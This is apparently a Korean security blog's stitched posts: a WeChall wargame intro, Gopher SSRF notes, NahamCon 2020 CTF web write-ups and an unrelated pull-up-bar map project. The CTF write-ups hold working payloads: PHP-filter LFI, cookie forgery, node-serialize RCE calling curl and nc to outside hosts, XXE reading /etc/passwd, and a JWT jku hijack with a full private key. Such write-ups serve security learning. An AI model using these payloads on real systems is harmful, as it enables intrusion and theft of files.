위첼이란?

워게임 사이트 겸 워게임 모음소같은 사이트인 위첼(wechall.net)에 대해 소개합니다.

사실 본 사이트는 해킹에 관심있거나 워게임 문제들을 많이 푸는 분들은 많이들 알고 계신 사이트인데, 글을 안 쓴지도 꽤 오래된 것 같고 간단한 글이라도 한번 써 볼 겸 글을 작성합니다.

 

wechall.net는 워게임 사이트 모음집이라고 보면 됩니다. 물론 wechall에 등록되지 않은 워게임 사이트들도 꽤 있지만요.

 

http://www.wechall.net/

그럼 워게임이란?

여기서 말하는 워게임은 해킹이나 정보보안과 관련된 내용들을 트레이닝 하기 위해 인위적으로 만들어진 문제들을 뜻합니다. 이러한 문제들을 푸는 것이 실제 정보보안에서 공통적으로 필요로 하는 기술과 사고방식 등을 학습하는 데에 도움이 생각보다 꽤 됩니다.

웹해킹, 시스템해킹, 리버싱, 포렌식, 암호학 등의 기술들을 갈고 닦고 기본 개념들을 익히거나 고급 테크닉들을 익힐 수 있습니다.

 

위챌이 제공하는 강력한 기능들

위챌은 여러모로 강력한 기능들을 제공을 합니다. 하나하나 간단하게 살펴보도록 하겠습니다.

 

워게임 사이트 모음집

일단 위첼에 여러개의 워게임 사이트들이 등록되어 있는데, 이를 통해서 알지 못했던 새로운 워게임 사이트들을 알 수 있습니다. 하나의 워게임을 올클리어 하면 다른 워게임으로 넘어갈 수도 있지요

 

워게임 사이트 점수 연동

회원가입 이후 로그인을 하게 되면, 맨 상단에 Account라는 매뉴가 활성화가 됩니다.

해당 항목으로 들어간 뒤, 워게임 사이트와 Username 및 이메일을 입력하면 해당 사이트에서 푼 문제 대비 Score가 계산이 되게 됩니다.

저같은 경우에는 웹해킹 위주의 워게임들만 풀었고, 그래서 점수가 저렇게 연동되어 있습니다. 시스템 해킹 문제들도 좀 풀어야 하는데 손이 잘 안가네요.

랭킹 시스템

앞서 말한 기능에 있는 점수들을 바탕으로 세계 랭킹, 국가별 랭킹, 국내 랭킹 등을 확인해 볼 수 있습니다.

물론 이러한 랭킹이라는게 절대적인 해킹 실력을 의미하진 않겠지만, 만약 같이 워게임을 푸는 친구나 아니면 해킹 고인물들의 닉네임 등을 알고 있다면 이를 구경하는 재미도 좀 쏠쏠합니다. 이 고인물 분은 이러한 워게임을 많이 풀었구나 하는 그런것들도 있지요.

그리고 이 워게임 사이트들 중 오래된 것은 관리가 잘안되어서 점수가 연동이 잘 안되거나 문제를 풀 수 없도록 서버가 고장나거나 하는 기타 상황들이 있으며, 이 위첼에도 등록되어 있지 않은 워게임들이 꽤 있습니다.

pwnable.xyz나 system32.kr나 ctf.j0n9hyun.xyz (HackCTF)라던지 워게임 주인이 위첼에 등록을 안 한 것이지요.

 

만약 본인이 워게임에 관심이 많다면, 위첼에 등록해서 워게임 별 도장깨기를 해 보는건 어떨까요?

SSRF(Server Side Request Forgery)공격 테크닉 중에 Gopher 프로토콜을 이용한 것들이 몇 가지 있다.

 

이러한 테크닉들을 살펴보기 전에 일단 Gopher 프로토콜이 어떤식으로 생겨먹었는지를 한번 분석해보고자 한다.

 

문서를 보는 것 보다는 실제로 보는게 나으므로, 일단 구름 IDE를 이용해서 포트를 하나 연다.

원격에 임의의 포트를 하나 열 수 있게 된다.

그리고 nc로 포트를 열고 기다린다. 로컬에서 한번 없는 IP에 테스트를 해볼려고 했는데, TCP기반이라서 연결이 안되면 프로토콜을 볼 수가 없다.

요런식으로 보내보니, 서버에선 이렇게 나온다.

T는 잘리고 estPayload가 들어간 모습. URL스펙은 그대로 따를테니 URL encoding 해서 뭔가 임의의 값들을 보낼 수 있지 않을까? 하는 생각이 들었다.

 

와이어샤크에서 실제로 보낸 TCP payload를 보아도 그냥 estPayload만 보내졌다. (음? 당연한건가?? ㅋㅋㅋㅋ)

이걸 이용하면 1 stage TCP arbitrary packet send and receive는 가능할 것 같다.

Agent 95

https://developers.whatismybrowser.com/useragents/parse/2520-internet-explorer-windows-trident

I googled windows 95 IE user agent. I set that on user-agent http header.

 

flag{user_agents_undercover}

 

Localghost

Auditing HTML code.

It is suspicious that there are two kinds of jquery library. Let's sneak into the second one which is not from CDN.

 

Let's dump the local variable _0xbcec

There is suspicious value right after string 'flag'. Let's base64 decode that.

 

Gotcha!

Phphonebook

http://jh2i.com:50002/phphonebook.php

http://jh2i.com:50002/index.php?file=php://filter/convert.base64-encode/resource=phphonebook.php

It seems LFI vulnerability. I used php filter to leak the php code with base64 encoding.

Let's decode base64 string.

<!DOCTYPE html>
<html lang="en">
  <head>
    <meta charset="utf-8">
    <title>Phphonebook</title>
    <link href="main.css" rel="stylesheet">
  </head>

  <body class="bg">
    <h1 id="header"> Welcome to the Phphonebook </h1>

    <div id="im_container">

      <img src="book.jpg" width="50%" height="30%"/>

      <p class="desc">
      This phphonebook was made to look up all sorts of numbers! Have fun...
      </p>

    </div>
<br>
<br>
    <div>
      <form method="POST" action="#">
        <label id="form_label">Enter number: </label>
        <input type="text" name="number">
        <input type="submit" value="Submit">
      </form>
    </div>

    <div id="php_container">
    <?php
      extract($_POST);

    	if (isset($emergency)){
    		echo(file_get_contents("/flag.txt"));
    	}
    ?>
  </div>
  </br>
  </br>
  </br>


<div style="position:fixed; bottom:1%; left:1%;">
<br><br><br><br>
<b> NOT CHALLENGE RELATED:</b><br>THANK YOU to INTIGRITI for supporting NahamCon and NahamCon CTF!
<p>
<img width=600px src="https://d24wuq6o951i2g.cloudfront.net/img/events/id/457/457748121/assets/f7da0d718eb77c83f5cb6221a06a2f45.inti.png">
</p>
</div>

  </body>
</html>

With extract function, if POST body parameter named emergency exists, you can get the flag.

flag{phon3_numb3r_3xtr4ct3d}

https://www.idontplaydarts.com/2011/02/using-php-filter-for-local-file-inclusion/

 

Official Business

I tried sqli but it not worked...

I just guessed to navigate /robot.txt

what the?!

 

 

#!/usr/bin/env python3

from flask import (
    Flask,
    render_template,
    request,
    abort,
    redirect,
    make_response,
    g,
    jsonify,
)
import binascii
import hashlib
import json

app = Flask(__name__)
app.secret_key = open("secret_key", "r").read().strip()
FLAG = open("flag.txt", "r").read().strip()


def do_login(user, password, admin):

    cookie = {"user": user, "password": password, "admin": admin}
    cookie["digest"] = hashlib.sha512(
        app.secret_key + bytes(json.dumps(cookie, sort_keys=True), "ascii")
    ).hexdigest()

    response = make_response(redirect("/"))
    response.set_cookie("auth", binascii.hexlify(json.dumps(cookie).encode("utf8")))

    return response


@app.route("/login", methods=["POST"])
def login():

    user = request.form.get("user", "")
    password = request.form.get("password", "")

    if (
        user != "hacker"
        or hashlib.sha512(bytes(password, "ascii")).digest()
        != b"hackshackshackshackshackshackshackshackshackshackshackshackshack"
    ):
        return abort(403)
    return do_login(user, password, True)


def load_cookie():

    cookie = {}
    auth = request.cookies.get("auth")
    if auth:

        try:
            cookie = json.loads(binascii.unhexlify(auth).decode("utf8"))
            digest = cookie.pop("digest")

            if (
                digest
                != hashlib.sha512(
                    app.secret_key + bytes(json.dumps(cookie, sort_keys=True), "ascii")
                ).hexdigest()
            ):
                return False, {}
        except:
            pass

    return True, cookie


@app.route("/logout", methods=["GET"])
def logout():

    response = make_response(redirect("/"))
    response.set_cookie("auth", "", expires=0)
    return response


@app.route("/")
def index():

    ok, cookie = load_cookie()
    if not ok:
        return abort(403)

    return render_template(
        "index.html",
        user=cookie.get("user", None),
        admin=cookie.get("admin", None),
        flag=FLAG,
    )


@app.route("/robots.txt")
def source():
    return "
" + open(__file__).read() + "
"


if __name__ == "__main__":
    app.run(debug=True, host="0.0.0.0", port=1337)

Auditing the source code, login process pass is impossible.

but, we can bypass the load_cookie() function.

in try except statement, let's evoke the error then we got the valid return value.

If there is no field named 'digest' in cookie, in load_cookie function, cookie.pop("digest") statement will evoke error. But, because of try-except block, it will escape from the procedure, just return the True value. It is simple implementation logic bug about that.

 

import json
import binascii
d = {}
d['user'] = 'admin'
d['admin'] = 'admin'
print (binascii.hexlify(json.dumps(d).encode('utf8'))
b'7b2275736572223a202261646d696e222c202261646d696e223a202261646d696e227d'

set the cookie auth=7b2275736572223a202261646d696e222c202261646d696e223a202261646d696e227d;

and do request to the / endpoint.

flag{did_this_even_pass_code_review}

Seriously

 

I tried to register by admin/admin, MongoDB error occured.

 

I joined with guest/guest

Session is JWT based. It uses RS256.

There is the function add to cart, the cart data is stored in cookie.

 

 

Checkout function is disabled.

Server stack seems Express.js + mongodb.

 

I could evoke error on /cart page.

Invalid cart cookie value can occur error on server side.

document.cookie='cart='+encodeURIComponent(btoa('{"items":{"0":{"price":64.99,"count":1},"length": 5}}'))+';'

 

https://www.exploit-db.com/docs/english/41289-exploiting-node.js-deserialization-bug-for-remote-code-execution.pdf

I refered the document about node-serialize module RCE vulnerability.

var y = {
rce : function(){
require('child_process').execSync('ls');
	},
}
var serialize = require('node-serialize');
var ser = serialize.serialize(y);
console.log("Serialized: \n" + ser);

var payload = '{"rce":"_$$ND_FUNC$$_function(){require(\'child_process\').execSync(\'curl https://enjm0grb1zb3c.x.pipedream.net/hello\');}()"}';
serialize.unserialize(payload)
encodeURIComponent(btoa('{"items":{"0":{"name":"{{flag}}","price":64.99,"count":1}}}'))
document.cookie='cart='+encodeURIComponent(btoa('{"items":{"0":{"price":64.99,"count":1},"length": 5}}'))+';'

document.cookie='cart='+encodeURIComponent(btoa('{"items":[{"price":64.99,"count":1}, {"name":"second"}]}'))+';'

document.cookie='cart='+encodeURIComponent(btoa('{"items":[{"name":{},"price":64.99,"count":1}, {"name":"second"}]}'))+';'

document.cookie='cart='+encodeURIComponent(btoa('{"rce":"_$$ND_FUNC$$_function(){require(\'child_process\').execSync(\'ls\');}()"}'))+';'

Server crashes...

 

document.cookie='cart='+encodeURIComponent(btoa('{"rce":"_$$ND_FUNC$$_function(){require(\'child_process\').execSync(\'nc 54.180.159.248 56628\');}()"}'))+';'

{"error":null,"cmd":"nc 54.180.159.248 56628","file":"/bin/sh","args":["/bin/sh","-c","nc 54.180.159.248 56628"],"options":{"shell":true,"file":"/bin/sh","args":["/bin/sh","-c","nc 54.180.159.248 56628"],"envPairs":["exit_code=1","node_version=8.10.0","versioning=null","version=0.0.0","unstable_restarts=0","restart_time=57","pm_id=0","created_at=1591982296039","axm_dynamic=[object Object]","axm_options=[object Object]","axm_monitor=[object Object]","axm_actions=","pm_uptime=1591985740672","status=launching","unique_id=3ef3b019-03e0-4c97-8223-b2bf1f548f8b","PM2_HOME=/root/.pm2","HOSTNAME=7f0fdfe4e631","HOME=/home/user","OLDPWD=/home/user","PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin","PWD=/home/user","PM2_USAGE=CLI","PM2_INTERACTOR_PROCESSING=true","NODE_APP_INSTANCE=0","vizion_running=false","km_link=false","pm_pid_path=/root/.pm2/pids/www-0.pid","pm_err_log_path=/root/.pm2/logs/www-error.log","pm_out_log_path=/root/.pm2/logs/www-out.log","instances=1","exec_mode=fork_mode","exec_interpreter=node","pm_cwd=/home/user","pm_exec_path=/home/user/bin/www","node_args=","name=www","filter_env=","namespace=default","env=[object Object]","merge_logs=true","vizion=true","autorestart=true","watch=false","instance_var=NODE_APP_INSTANCE","pmx=true","automation=true","treekill=true","username=root","uid=1000","gid=1000","windowsHide=true","kill_retry_time=100"],"stdio":[{"type":"pipe","readable":true,"writable":false},{"type":"pipe","readable":false,"writable":true},{"type":"pipe","readable":false,"writable":true}]},"envPairs":["exit_code=1","node_version=8.10.0","versioning=null","version=0.0.0","unstable_restarts=0","restart_time=57","pm_id=0","created_at=1591982296039","axm_dynamic=[object Object]","axm_options=[object Object]","axm_monitor=[object Object]","axm_actions=","pm_uptime=1591985740672","status=launching","unique_id=3ef3b019-03e0-4c97-8223-b2bf1f548f8b","PM2_HOME=/root/.pm2","HOSTNAME=7f0fdfe4e631","HOME=/home/user","OLDPWD=/home/user","PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin","PWD=/home/user","PM2_USAGE=CLI","PM2_INTERACTOR_PROCESSING=true","NODE_APP_INSTANCE=0","vizion_running=false","km_link=false","pm_pid_path=/root/.pm2/pids/www-0.pid","pm_err_log_path=/root/.pm2/logs/www-error.log","pm_out_log_path=/root/.pm2/logs/www-out.log","instances=1","exec_mode=fork_mode","exec_interpreter=node","pm_cwd=/home/user","pm_exec_path=/home/user/bin/www","node_args=","name=www","filter_env=","namespace=default","env=[object Object]","merge_logs=true","vizion=true","autorestart=true","watch=false","instance_var=NODE_APP_INSTANCE","pmx=true","automation=true","treekill=true","username=root","uid=1000","gid=1000","windowsHide=true","kill_retry_time=100"],"stderr":{"type":"Buffer","data":[47,98,105,110,47,115,104,58,32,49,58,32,110,99,58,32,110,111,116,32,102,111,117,110,100,10]},"stdout":{"type":"Buffer","data":[]},"pid":736,"output":[null,{"type":"Buffer","data":[]},{"type":"Buffer","data":[47,98,105,110,47,115,104,58,32,49,58,32,110,99,58,32,110,111,116,32,102,111,117,110,100,10]}],"signal":null,"status":127}

 

Code execution seems occured.

But we cannot get the standard output.

But we can get standard error.

We should evoke the error.

Let's decode stderr value with python.

document.cookie='cart='+encodeURIComponent(btoa('{"rce":"_$$ND_FUNC$$_function(){require(\'child_process\').execSync(\'`pwd`\');}()"}'))+';'
>>> def decode(a):
...     return ''.join(list(map(chr, a)))
...
>>> decode([47,98,105,110,47,115,104,58,32,49,58,32,110,99,58,32,110,111,116,32,102,111,117,110,100,10])
'/bin/sh: 1: nc: not found\n'
>>> decode([47,98,105,110,47,115,104,58,32,49,58,32,83,121,110,116,97,120,32,101,114,114,111,114,58,32,69,79,70,32,105,110,32,98,97,99,107,113,117,111,116,101,32,115,117,98,115,116,105,116,117,116,105,111,110,10])
'/bin/sh: 1: Syntax error: EOF in backquote substitution\n'
>>> decode([47,98,105,110,47,115,104,58,32,49,58,32,47,104,111,109,101,47,117,115,101,114,58,32,80,101,114,109,105,115,115,105,111,110,32,100,101,110,105,101,100,10])
'/bin/sh: 1: /home/user: Permission denied\n'

To get the feed back the command should evoke error.

Let's do with backtick ` to do bash subcommand.

`pwd` ⇒ /home/user

`ls` ⇒ app.js

`ls /` ⇒ bin

`ls | base64` ⇒

 

document.cookie='cart='+encodeURIComponent(btoa('{"rce":"_$$ND_FUNC$$_function(){require(\'child_process\').execSync(\'`cat flag.txt`\');}()"}'))+';'

 

flag{seriously_deserialization_with_plants}

Extraterrestrial

딱봐도 XXE문제같다.

It is obviously XXE challenge.

https://gracefulsecurity.com/xxe-cheatsheet-xml-external-entity-injection/

<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///etc/passwd"> ]>

<message>&ent;</message>

Result

array(1) {
  ["ent"]=>
  string(926) "root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
"
}

Let's read /flag.txt

<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///flag.txt"> ]>

<message>&ent;</message>

 

flag{extraterrestrial_extra_entities}

Rejected Sequel

It seems to be sql injection problem.

select * from table where name like "%{input}%"

Whitespace seems to be filtered. Let's substitute the space with /**/ string.

 

flag{at_least_this_sequel_got_published}

Fake File

 

flag{we_should_have_been_worried_about_u2k_not_y2k}

Alkatraz

https://twpower.github.io/155-use-file-or-command-ouput-in-while-loop

https://gist.github.com/PSJoshi/04c0e239ac7b486efb3420db4086e290

 

flag{congrats_you_just_escaped_alkatraz}

Flag Jokes

It seems to problem about cookie(JWT)

JWT를 쓴다. 디코딩해보자.

 

{
  "alg": "RS256",
  "jku": "http://localhost:5000/static/jwks.json",
  "kid": "sqcE1a9gj9p08zNMR1MWbLLvuaPyUeJEsClBhy7Q4Jc"
}

SSRF?!

Let's insert some url to jwt header.

 

document.cookie=encodeURIComponent="token=" + ([btoa('{"alg": "RS256","jku": "https://ene9h9dntn4f.x.pipedream.net/jwks.json","kid":"sqcE1a9gj9p08zNMR1MWbLLvuaPyUeJEsClBhy7Q4Jc"}'), btoa('{"username":"eins"}'), '123'].join('.')) + ";"

Obviously, server fetch the key data from the url.

I tested on requestbin, the server request to the endpoint.

 

There is jwk standard. Previously, I didn't know about that

 

https://connect2id.com/products/nimbus-jose-jwt/examples/jwk-generation#oct

https://qiita.com/takdcloose/items/d25fff32c98b48b3c648

https://mkjwk.org/

It is difficult to me, I googled some site which make us a sample jwk.

I googled jwk to pem converter.

https://www.npmjs.com/package/jwk-to-pem

https://developer.aliyun.com/mirror/npm/package/jwk-to-pem

 

var jwkToPem = require('jwk-to-pem');
var jwk = {
    "p": "9LwPeMczl14IBHYOkLyWoOUPD627troROoCOAeK9Oub61L1rIj4QhAgOWA-WC-2853g_6xzBXFTBmjAhzlXkoqkC2oBLHii1N7WOj8PZePa2oRcLGvGdm-WRMPU3fGbbU1JZQtoWfvZvPVyRhZhMx9bLnu3n0YEU-35U7dCrYOE",
    "kty": "RSA",
    "q": "vcxWicdHmitlxb-WcZa9vXxdOHH3yCxSnIAZY50Wy6ccrijw3PJO7ApnnrejgUkuWVQrJWp3qODRvURwqNYi4lNSm2LWliFWs7uXEnZulc1b5E-b-9Dk6LvkGFnlJefbf7IIQSXxhD5MGqWwn3Pcnc9onLvyW8EIlq_DXtxHPP0",
    "d": "IANsmzx7RF7v3UkHEgHxP1fTVaP4T303W4nxBp_fVpbu6CHd5jJN_YvH5ry8n1bIJBXPLu36KvG7LHqHNrSMsWOZ5BW7ZSApO9QIskB-Ekt5TF43QgiRjT62q74rdlpxzjGi1a95tPew4fL6kbE10q5JfWjq_hqM8-szdXRsIzXsPINAUs84lqhNd5ESFBjgFoW3s65REsUEI6quhZj91iC-ebLRyHt3pzQ_W9wkvzouB_g-6IecImXdWTtUZePvPKlf_wKGKueNm86JcCnHEGe1UsTFvUCRaDVuiXJwDPoFOcY6o_hrXV33O-vCRR8IYGIJ1MQ2PjPDo2cM6hOJgQ",
    "e": "AQAB",
    "use": "sig",
    "kid": "einstrasse",
    "qi": "XSSe27HtalnYMCR2Z3EJprzUB0K1fgcTrwE8lyNTD1lkNbuZPINhqDYB7xfb9yrrQftCaUUTqCoqyOvjuoYGZiQA-pFc73vN8KTbAt8jSM_bUSTK0C6svud8wYH0HXhaLK3aFEWA5s1KRx1cLNgWtbY5tNxE6cyDzzG60UmLmJw",
    "dp": "4lXycR65Zen-vDF6svzWyaJN1ZA1JH7cZCB0NOY_X3Qy0gEETbzchV719RclC48ov2GEq6oCYaO5ESImga8KLizkiLNRxWicgBMW73qPa8GvkTfAe4Cs5HrhVkfSsuhlOp_UEXGkkHLU2gj8RHNfvwm1cxxO4oDgqN5jKTVs6cE",
    "alg": "RS256",
    "dq": "nXJLP5Re45eon3ildqkT0YK_WjnA0P9jsIvbg_Ummd6RPjCcTs17hvfCqbmxG2j32AaonCtMBH4rv5Rs2MJ6wcFZP6moVXZmlEbDtf8lEYP__M_FmAncOuzS9RhtrRo_zhiEHHc7ePas71YPxNa6ZvdN0udez5q8YzR_H8wgFIk",
    "n": "tXIwA2OpUfzF2B_M4WdDwOG0tq4xcqaCJzdAMfd_YRaMkM9cKyHmW-sh3OaXew-NeA_V836j_HSW88tjuMs6YXcHUj1-A-5XL3kjJFAnBwIYIO7VYwbJpKhvo0xMK_eXKTvSYJ--61_tcGZL3XUV5MVPznXsoNspNk_SUYPrtkh8z0cwJLAurZo_uTtlOguOQVD3aWd8Lb9zkREBp-8zUuzzRJ01ZLG2IvmHo9AGkd3i876HMQAi5gzWiehWNgWNR3HhUSeelG3rvN4bK2iQSVj8Qb-FJfe3rfxPX2JGJknyQGOmdCec9e3bg_OvrtPzBQl8e96J2uxOkchWnnp6XQ"
};

var pub = jwkToPem(jwk);
var priv = jwkToPem(jwk, {private: true});
console.log(pub);
console.log(priv);
D:\ctf\2020-NahamCon>node do.js
-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAtXIwA2OpUfzF2B/M4WdD
wOG0tq4xcqaCJzdAMfd/YRaMkM9cKyHmW+sh3OaXew+NeA/V836j/HSW88tjuMs6
YXcHUj1+A+5XL3kjJFAnBwIYIO7VYwbJpKhvo0xMK/eXKTvSYJ++61/tcGZL3XUV
5MVPznXsoNspNk/SUYPrtkh8z0cwJLAurZo/uTtlOguOQVD3aWd8Lb9zkREBp+8z
UuzzRJ01ZLG2IvmHo9AGkd3i876HMQAi5gzWiehWNgWNR3HhUSeelG3rvN4bK2iQ
SVj8Qb+FJfe3rfxPX2JGJknyQGOmdCec9e3bg/OvrtPzBQl8e96J2uxOkchWnnp6
XQIDAQAB
-----END PUBLIC KEY-----

-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQC1cjADY6lR/MXY
H8zhZ0PA4bS2rjFypoInN0Ax939hFoyQz1wrIeZb6yHc5pd7D414D9XzfqP8dJbz
y2O4yzphdwdSPX4D7lcveSMkUCcHAhgg7tVjBsmkqG+jTEwr95cpO9Jgn77rX+1w
ZkvddRXkxU/Odeyg2yk2T9JRg+u2SHzPRzAksC6tmj+5O2U6C45BUPdpZ3wtv3OR
EQGn7zNS7PNEnTVksbYi+Yej0AaR3eLzvocxACLmDNaJ6FY2BY1HceFRJ56Ubeu8
3hsraJBJWPxBv4Ul97et/E9fYkYmSfJAY6Z0J5z17duD86+u0/MFCXx73ona7E6R
yFaeenpdAgMBAAECggEAIANsmzx7RF7v3UkHEgHxP1fTVaP4T303W4nxBp/fVpbu
6CHd5jJN/YvH5ry8n1bIJBXPLu36KvG7LHqHNrSMsWOZ5BW7ZSApO9QIskB+Ekt5
TF43QgiRjT62q74rdlpxzjGi1a95tPew4fL6kbE10q5JfWjq/hqM8+szdXRsIzXs
PINAUs84lqhNd5ESFBjgFoW3s65REsUEI6quhZj91iC+ebLRyHt3pzQ/W9wkvzou
B/g+6IecImXdWTtUZePvPKlf/wKGKueNm86JcCnHEGe1UsTFvUCRaDVuiXJwDPoF
OcY6o/hrXV33O+vCRR8IYGIJ1MQ2PjPDo2cM6hOJgQKBgQD0vA94xzOXXggEdg6Q
vJag5Q8Prbu2uhE6gI4B4r065vrUvWsiPhCECA5YD5YL7bzneD/rHMFcVMGaMCHO
VeSiqQLagEseKLU3tY6Pw9l49rahFwsa8Z2b5ZEw9Td8ZttTUllC2hZ+9m89XJGF
mEzH1sue7efRgRT7flTt0Ktg4QKBgQC9zFaJx0eaK2XFv5Zxlr29fF04cffILFKc
gBljnRbLpxyuKPDc8k7sCmeet6OBSS5ZVCslaneo4NG9RHCo1iLiU1KbYtaWIVaz
u5cSdm6VzVvkT5v70OTou+QYWeUl59t/sghBJfGEPkwapbCfc9ydz2icu/JbwQiW
r8Ne3Ec8/QKBgQDiVfJxHrll6f68MXqy/NbJok3VkDUkftxkIHQ05j9fdDLSAQRN
vNyFXvX1FyULjyi/YYSrqgJho7kRIiaBrwouLOSIs1HFaJyAExbveo9rwa+RN8B7
gKzkeuFWR9Ky6GU6n9QRcaSQctTaCPxEc1+/CbVzHE7igOCo3mMpNWzpwQKBgQCd
cks/lF7jl6ifeKV2qRPRgr9aOcDQ/2Owi9uD9SaZ3pE+MJxOzXuG98KpubEbaPfY
BqicK0wEfiu/lGzYwnrBwVk/qahVdmaURsO1/yURg//8z8WYCdw67NL1GG2tGj/O
GIQcdzt49qzvVg/E1rpm903S517PmrxjNH8fzCAUiQKBgF0kntux7WpZ2DAkdmdx
Caa81AdCtX4HE68BPJcjUw9ZZDW7mTyDYag2Ae8X2/cq60H7QmlFE6gqKsjr47qG
BmYkAPqRXO97zfCk2wLfI0jP21EkytAurL7nfMGB9B14Wiyt2hRFgObNSkcdXCzY
FrW2ObTcROnMg88xutFJi5ic
-----END PRIVATE KEY-----

 

I made public and private ceritifcate of jwk.

 

I used jwt.io to make valid jwt payload.

It didn't worked, so I tried another format of jwk.

The sample in the middle worked!

{
    "keys": [
        {
            "p": "9LwPeMczl14IBHYOkLyWoOUPD627troROoCOAeK9Oub61L1rIj4QhAgOWA-WC-2853g_6xzBXFTBmjAhzlXkoqkC2oBLHii1N7WOj8PZePa2oRcLGvGdm-WRMPU3fGbbU1JZQtoWfvZvPVyRhZhMx9bLnu3n0YEU-35U7dCrYOE",
            "kty": "RSA",
            "q": "vcxWicdHmitlxb-WcZa9vXxdOHH3yCxSnIAZY50Wy6ccrijw3PJO7ApnnrejgUkuWVQrJWp3qODRvURwqNYi4lNSm2LWliFWs7uXEnZulc1b5E-b-9Dk6LvkGFnlJefbf7IIQSXxhD5MGqWwn3Pcnc9onLvyW8EIlq_DXtxHPP0",
            "d": "IANsmzx7RF7v3UkHEgHxP1fTVaP4T303W4nxBp_fVpbu6CHd5jJN_YvH5ry8n1bIJBXPLu36KvG7LHqHNrSMsWOZ5BW7ZSApO9QIskB-Ekt5TF43QgiRjT62q74rdlpxzjGi1a95tPew4fL6kbE10q5JfWjq_hqM8-szdXRsIzXsPINAUs84lqhNd5ESFBjgFoW3s65REsUEI6quhZj91iC-ebLRyHt3pzQ_W9wkvzouB_g-6IecImXdWTtUZePvPKlf_wKGKueNm86JcCnHEGe1UsTFvUCRaDVuiXJwDPoFOcY6o_hrXV33O-vCRR8IYGIJ1MQ2PjPDo2cM6hOJgQ",
            "e": "AQAB",
            "use": "sig",
            "kid": "einstrasse",
            "qi": "XSSe27HtalnYMCR2Z3EJprzUB0K1fgcTrwE8lyNTD1lkNbuZPINhqDYB7xfb9yrrQftCaUUTqCoqyOvjuoYGZiQA-pFc73vN8KTbAt8jSM_bUSTK0C6svud8wYH0HXhaLK3aFEWA5s1KRx1cLNgWtbY5tNxE6cyDzzG60UmLmJw",
            "dp": "4lXycR65Zen-vDF6svzWyaJN1ZA1JH7cZCB0NOY_X3Qy0gEETbzchV719RclC48ov2GEq6oCYaO5ESImga8KLizkiLNRxWicgBMW73qPa8GvkTfAe4Cs5HrhVkfSsuhlOp_UEXGkkHLU2gj8RHNfvwm1cxxO4oDgqN5jKTVs6cE",
            "alg": "RS256",
            "dq": "nXJLP5Re45eon3ildqkT0YK_WjnA0P9jsIvbg_Ummd6RPjCcTs17hvfCqbmxG2j32AaonCtMBH4rv5Rs2MJ6wcFZP6moVXZmlEbDtf8lEYP__M_FmAncOuzS9RhtrRo_zhiEHHc7ePas71YPxNa6ZvdN0udez5q8YzR_H8wgFIk",
            "n": "tXIwA2OpUfzF2B_M4WdDwOG0tq4xcqaCJzdAMfd_YRaMkM9cKyHmW-sh3OaXew-NeA_V836j_HSW88tjuMs6YXcHUj1-A-5XL3kjJFAnBwIYIO7VYwbJpKhvo0xMK_eXKTvSYJ--61_tcGZL3XUV5MVPznXsoNspNk_SUYPrtkh8z0cwJLAurZo_uTtlOguOQVD3aWd8Lb9zkREBp-8zUuzzRJ01ZLG2IvmHo9AGkd3i876HMQAi5gzWiehWNgWNR3HhUSeelG3rvN4bK2iQSVj8Qb-FJfe3rfxPX2JGJknyQGOmdCec9e3bg_OvrtPzBQl8e96J2uxOkchWnnp6XQ"
        }
    ]
}

flag{whoops_typo_shoulda_been_flag_jwks}

철봉여지도 바로가기

개발 동기

요즘 자꾸 배가 나와서 운동을 다시 시작하려고 하는데, 맨몸운동을 한번 시작해볼까 하면서 주변에서 철봉을 찾으려고 했다. 그런데 요즈음 대 IT 시대에 해외 여행을 가서도 구글링과 어느정도 검색만으로 왠만한 맛집도 다 찾고 다 하는 시댄데, 철봉을 찾기가 어려웠다. 내가 어렸을 때만 해도 철봉이랑 평행봉이 어느정도는 있었던 것 같았는데도 불구하고 말이다.

그래서 이것저것 검색을 해 보다 보니, 나와 비슷한 생각을 하는 사람들이 좀 있었다. 어떤 사람은 구청에 철봉 만들어달라고 민원도 넣었다고 한다.

그래서 나도 민원을 넣었다.

나와 비슷한 생각을 했던 사람들이 꽤 있다.

그리고 얼마 안 되어서 답변이 왔다.

철봉이 이미 많다고 한다.

그래서 이렇게 철봉이 많지만 내가 찾기 힘들었으니, 이를 찾아주는 서비스를 한번 만들어 보면 어떨까 싶어서 만들어 보았다.

 

어떻게 만들었는가?

일단 내가 만든 서비스의 가장 중요한 요구사항은 이것이다. 유지비용이 들지 않을 것!

그래서 네이버 지도 API와 구글 지도 API를 알아보았는데, 네이버 지도 API는 사실상 무료나 다름없었다. 그래서 네이버 지도 API를 이용했다.

그리고 DB따위는 쓰지 않는 정적 HTML+CSS+JS 웹 호스팅을 하였는데, 이 또한 github 블로그 페이지를 이용해서 유지비용 0으로 만들었다.

 

데이터는 어디서 구했는가?

